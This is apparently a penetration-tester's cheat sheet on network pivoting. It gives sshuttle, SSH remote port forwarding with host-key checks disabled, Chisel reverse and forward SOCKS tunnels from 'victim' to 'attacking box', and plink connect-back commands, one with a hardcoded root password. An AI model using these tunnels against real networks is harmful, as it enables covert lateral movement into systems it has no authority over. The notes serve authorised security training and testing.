# Network Pivoting

## sshuttle

SSH required on machine.

```
sshuttle -r linux-user@10.200.124.33 10.200.124.30/24
```

## SSH Tunnel

**Remote Port Forward**

* Connects specific ports on local host to remote host

```
ssh -R 1122:10.5.5.11:22 -R 13306:10.5.5.11:3306 kali@10.11.0.4 
```

* This connects local kali ports 1122, 13306 to remote ports 22, 3306. .11 is remote host, .4 is kali

**Automatically Accept Host Key (For Connecting Back to Kali)**

```
-o "UserKnownHostsFile=/dev/null"
```

**Don't prompt for Host Key**

```
-o "StrictHostKeyChecking=no" 
```

```
ssh -R 1122:10.5.5.11:22 -R 13306:10.5.5.11:3306 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" kali@10.11.0.4 
```

### Creating SSH Keys & Rules

```
mkdir keys
```

```
cd keys
```

```
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/var/www/.ssh/id_rsa): /tmp/keys/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /tmp/keys/id_rsa.
Your public key has been saved in /tmp/keys/id_rsa.pub.
...
```

```
cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@ajla
```

**Rules for Use on Pivot Point**

```
from="10.11.1.250",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@ajla
```

## Chisel

<https://github.com/jpillora/chisel>

&#x20;

* Binaries must exist on attacker AND victim (proxy) machine to work
* Proxychains conf must be configured to “socks5 127.0.0.1 PORT(1080?)” as Chisel uses socks5\
  \
  &#x20;

### Reverse SOCKS Proxy

\#Attacking Box (Listener)

```
./chisel server -p LISTEN_PORT --reverse &
```

\
\#Victim

```
./chisel client ATTACKING_IP:LISTEN_PORT R:socks &
```

&#x20;

### Forward SOCKS Proxy

\#Victim

```
./chisel server -p LISTEN_PORT --socks5
```

\
\#Attacking Box

```
./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks
```

&#x20;

### Remote Port Forward

\#Attacking Machine

```
./chisel server -p LISTEN_PORT --reverse &
```

&#x20;

\#Victim Machine

```
./chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:TARGET_PORT &
```

&#x20;

### Local Port Forward

\#Victim Machine

```
./chisel server -p LISTEN_PORT
```

\
\#Attacking Machine

```
./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT
```

## Plink

```
plink.exe -N -L 0.0.0.0:4444:192.168.119.212:1337 root@KaliIP
```

```
plink.exe -ssh -l root -pw toor -R 192.168.119.212:4444
```
